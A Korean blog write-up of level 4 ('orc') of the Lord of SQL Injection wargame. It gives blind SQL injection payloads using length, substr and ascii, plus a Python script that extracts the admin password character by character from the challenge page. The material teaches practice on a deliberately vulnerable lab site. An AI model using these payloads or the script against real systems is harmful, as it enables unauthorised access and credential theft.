이 영역을 누르면 첫 페이지로 이동
DevDori 블로그의 첫 페이지로 이동

DevDori

페이지 맨 위로 올라가기

DevDori

[Lord of SQL Injection] orc 4번 풀이

  • 2021.10.10 21:11
  • WarGame/Lord of SQL Injection

4번 문제 ( orc )

[ 문제접근 ]

1. 쿼리 : id는 admin으로 고정되어 있고 pw가 존재, 이를 통해 DB를 조회한다

2. $_GET[pw] : GET방식을 통해서 pw를 입력을 받는다

3. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) : DB 조회결과의 pw와 우리가 입력한 pw가 같아야 solve("orc"); 시켜줌 => 이 문제에서 우리는 admin의 pw를 알아내야함4. 로그인에 성공시 Hello admin을 출력시켜줌

=>방법 :  BlindSqlinjection을 통해 pw를 알아내야함 > pw를 한글자씩 비교하고 Hello admin 출력으로 참,거짓을 판별*

힌트 : length(문자열), substr(문자열, 시작할 지점, 자를 개수), ASCII 또는 ORD 함수

 

[ 문제풀이 ]

더보기

<정답> : 

* 설명을 위해 정수변수 a, 문자열변수 b가 존재한다고 가정하겠습니다*

1. ?pw=' or length(pw) = 'a

length함수를 사용해서 pw의 길이를 유추한다

a를 1부터 하나씩 증가하면서 비교하다, hello admin이 나올때의 a가 문자열의 길이임

문자열의 길이가 8임을 구함

2. ?pw=' or substr(pw,1,a) = 'b   

substr을 사용하여 처음부터 한글자씩 비교하는데 a를 1부터 시작 b에 모든 문자열을 대입하며 비교

문자열을 비교하다 Hello admin이 나올 경우 a+1 하고, 방금 발견한 앞에 문자뒤에 모든 문자를 다시한번

더하면서 다시 비교, 이 과정을 a가 8이 될때까지 반복하면 pw를 구할 수 있다.

 

손으로 직접하면 많이 힘들기에 본인은 Python을 활용해 스크립트를 작성했다

import requests

url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
cookies = {'PHPSESSID':'r0q27p00q2hkg9d3bn1pls7chs'}
pw = ""
for i in range(1,9):
    for j in range(33,123):
        req = f"{url}?pw=' or ascii(substr(pw,{i},1)) = '{j}"
        res = requests.get(req,cookies=cookies)
        print(chr(j))
        if res.text.find("<h2>Hello admin</h2><code>") != -1:
            print(f"====={chr(j)}=====")
            pw+=chr(j)
            break
print(f"====(pw : {pw})====")

위 코드에서 substr 부분을 ascii로 감싸준 이유는 

sql에서 문자를 비교할때 대소문자를 구분하지 않는다.

따라서 ascii라는 함수로 감싸서 해당문자의 아스키코드값으로 비교하면 대소를 구분할 수 있다!

 

"ORC Clear!" 가 나타난다! 정답!

이제 다음 스테이지로 넘어가도록 하자

'WarGame > Lord of SQL Injection' 카테고리의 다른 글

[Lord of SQL Injection] darkelf 6번 풀이  (0) 2021.10.12
[Lord of SQL Injection] wolfman 5번 풀이  (0) 2021.10.12
[Lord of SQL Injection] goblin 3번 풀이  (0) 2021.10.10
[Lord of SQL Injection] cobolt 2번 풀이  (0) 2021.10.10
[Lord of SQL Injection] gremlin 1번 풀이  (0) 2021.10.10

댓글

이 글 공유하기

  • 구독하기

    구독하기

  • 카카오톡

    카카오톡

  • 라인

    라인

  • 트위터

    트위터

  • Facebook

    Facebook

  • 카카오스토리

    카카오스토리

  • 밴드

    밴드

  • 네이버 블로그

    네이버 블로그

  • Pocket

    Pocket

  • Evernote

    Evernote

다른 글

  • [Lord of SQL Injection] darkelf 6번 풀이

    [Lord of SQL Injection] darkelf 6번 풀이

    2021.10.12
  • [Lord of SQL Injection] wolfman 5번 풀이

    [Lord of SQL Injection] wolfman 5번 풀이

    2021.10.12
  • [Lord of SQL Injection] goblin 3번 풀이

    [Lord of SQL Injection] goblin 3번 풀이

    2021.10.10
  • [Lord of SQL Injection] cobolt 2번 풀이

    [Lord of SQL Injection] cobolt 2번 풀이

    2021.10.10
다른 글 더 둘러보기

정보

DevDori 블로그의 첫 페이지로 이동

DevDori


ShinhanBank InfoSec Devision
Sunrin High School InfoSec 115th
TeamH4C members

  • DevDori의 첫 페이지로 이동

나의 외부 링크

  • GitHub
  • FB
  • Instagram

검색

카테고리

  • 분류 전체보기 (43)
    • Project (7)
      • 정보보안 프로젝트 (6)
      • 진로 IT 프로젝트 (1)
    • System (4)
    • Reversing (3)
    • Web (1)
    • WarGame (21)
      • Lord of SQL Injection (15)
      • BandIt (2)
      • Webhacking.kr (0)
      • pwnable.kr (0)
      • HackCTF (2)
      • FTZ (0)
      • Dreamhack (2)
    • Dev (5)
      • DataBase (5)
    • Etc. (2)
      • 알쓸컴잡 (0)
      • Linux (1)
      • GitHub (1)
      • 시놀로지 (0)
    • Algorithm (0)
      • programmers (0)

메뉴

  • 홈
  • 태그
  • 방명록

최근 글

인기 글

댓글

정보

DevDori의 DevDori

DevDori

DevDori

블로그 구독하기

  • 구독하기
  • RSS 피드

방문자

  • 전체 방문자
  • 오늘
  • 어제

티스토리

  • 티스토리 홈
  • 이 블로그 관리하기
  • 글쓰기
Powered by Tistory / Kakao. Copyright © DevDori.

티스토리툴바